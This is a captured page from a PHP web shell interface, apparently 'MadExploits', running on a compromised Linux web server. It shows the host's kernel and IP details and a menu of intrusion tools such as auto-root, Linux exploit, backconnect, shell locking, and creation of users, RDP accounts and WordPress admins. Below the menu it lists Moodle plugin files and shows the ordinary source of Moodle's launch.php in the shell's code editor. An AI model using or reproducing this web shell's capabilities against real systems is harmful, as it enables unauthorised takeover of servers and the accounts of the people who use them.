Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.27
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
admin /
tool /
mobile /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
autologin.php
2.44
KB
-rw-r--r--
launch.php
5.86
KB
-rw-r--r--
lib.php
9.3
KB
-rw-r--r--
logout.php
2.32
KB
-rw-r--r--
mobile.webmanifest.php
2.12
KB
-rw-r--r--
settings.php
9.82
KB
-rw-r--r--
styles.css
596
B
-rw-r--r--
subscription.php
1.81
KB
-rw-r--r--
upgrade.txt
1.32
KB
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : launch.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Launch page, launch the app using custom URL schemes. * * If the user is not logged when visiting this page, he will be redirected to the login page. * Once he is logged, he will be redirected again to this page and the app launched via custom URL schemes. * * @package tool_mobile * @copyright 2016 Juan Leyva * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/../../../config.php'); require_once($CFG->libdir . '/externallib.php'); $serviceshortname = required_param('service', PARAM_ALPHANUMEXT); $passport = required_param('passport', PARAM_RAW); // Passport send from the app to validate the response URL. $urlscheme = optional_param('urlscheme', 'moodlemobile', PARAM_NOTAGS); // The URL scheme the app supports. $confirmed = optional_param('confirmed', false, PARAM_BOOL); // If we are being redirected after user confirmation. $oauthsso = optional_param('oauthsso', 0, PARAM_INT); // Id of the OpenID issuer (for OAuth direct SSO). // Validate that the urlscheme is valid. if (!preg_match('/^[a-zA-Z][a-zA-Z0-9-\+\.]*$/', $urlscheme)) { throw new moodle_exception('Invalid parameter: the value of urlscheme isn\'t valid. ' . 'It should start with a letter and can only contain letters, numbers and the characters "." "+" "-".'); } // Check web services enabled. if (!$CFG->enablewebservices) { throw new moodle_exception('enablewsdescription', 'webservice'); } // We have been requested to start a SSO process via OpenID. if (!empty($oauthsso) && is_enabled_auth('oauth2')) { $wantsurl = new moodle_url('/admin/tool/mobile/launch.php', array('service' => $serviceshortname, 'passport' => $passport, 'urlscheme' => $urlscheme, 'confirmed' => $confirmed)); $oauthurl = new moodle_url('/auth/oauth2/login.php', array('id' => $oauthsso, 'sesskey' => sesskey(), 'wantsurl' => $wantsurl)); header('Location: ' . $oauthurl->out(false)); die; } // Check if the plugin is properly configured. $typeoflogin = get_config('tool_mobile', 'typeoflogin'); if (empty($SESSION->justloggedin) and $typeoflogin != tool_mobile\api::LOGIN_VIA_BROWSER and $typeoflogin != tool_mobile\api::LOGIN_VIA_EMBEDDED_BROWSER) { throw new moodle_exception('pluginnotenabledorconfigured', 'tool_mobile'); } // Check if the service exists and is enabled. $service = $DB->get_record('external_services', array('shortname' => $serviceshortname, 'enabled' => 1)); if (empty($service)) { throw new moodle_exception('servicenotavailable', 'webservice'); } require_login(0, false); // Require an active user: not guest, not suspended. core_user::require_active_user($USER); // Get an existing token or create a new one. $timenow = time(); $token = external_generate_token_for_current_user($service); $privatetoken = $token->privatetoken; external_log_token_request($token); // Don't return the private token if the user didn't just log in and a new token wasn't created. if (empty($SESSION->justloggedin) and $token->timecreated < $timenow) { $privatetoken = null; } $siteadmin = has_capability('moodle/site:config', context_system::instance(), $USER->id); // Passport is generated in the mobile app, so the app opening can be validated using that variable. // Passports are valid only one time, it's deleted in the app once used. $siteid = md5($CFG->wwwroot . $passport); $apptoken = $siteid . ':::' . $token->token; if ($privatetoken and is_https() and !$siteadmin) { $apptoken .= ':::' . $privatetoken; } $apptoken = base64_encode($apptoken); // Redirect using the custom URL scheme checking first if a URL scheme is forced in the site settings. $forcedurlscheme = get_config('tool_mobile', 'forcedurlscheme'); if (!empty($forcedurlscheme)) { $urlscheme = $forcedurlscheme; } $location = "$urlscheme://token=$apptoken"; // For iOS 10 onwards, we have to simulate a user click. // If we come from the confirmation page, we should display a nicer page. $isios = core_useragent::is_ios(); if ($confirmed or $isios) { $PAGE->set_context(context_system::instance()); $PAGE->set_heading($COURSE->fullname); $params = array('service' => $serviceshortname, 'passport' => $passport, 'urlscheme' => $urlscheme, 'confirmed' => $confirmed); $PAGE->set_url("/$CFG->admin/tool/mobile/launch.php", $params); echo $OUTPUT->header(); if ($confirmed) { $confirmedstr = get_string('confirmed'); $PAGE->navbar->add($confirmedstr); $PAGE->set_title($confirmedstr); echo $OUTPUT->notification($confirmedstr, \core\output\notification::NOTIFY_SUCCESS); echo $OUTPUT->box_start('generalbox centerpara boxwidthnormal boxaligncenter'); echo $OUTPUT->single_button(new moodle_url('/course/'), get_string('courses')); echo $OUTPUT->box_end(); } $notice = get_string('clickheretolaunchtheapp', 'tool_mobile'); echo html_writer::link($location, $notice, array('id' => 'launchapp')); echo html_writer::script( "window.onload = function() { document.getElementById('launchapp').click(); };" ); echo $OUTPUT->footer(); } else { // For Android a http redirect will do fine. header('Location: ' . $location); die; }
Close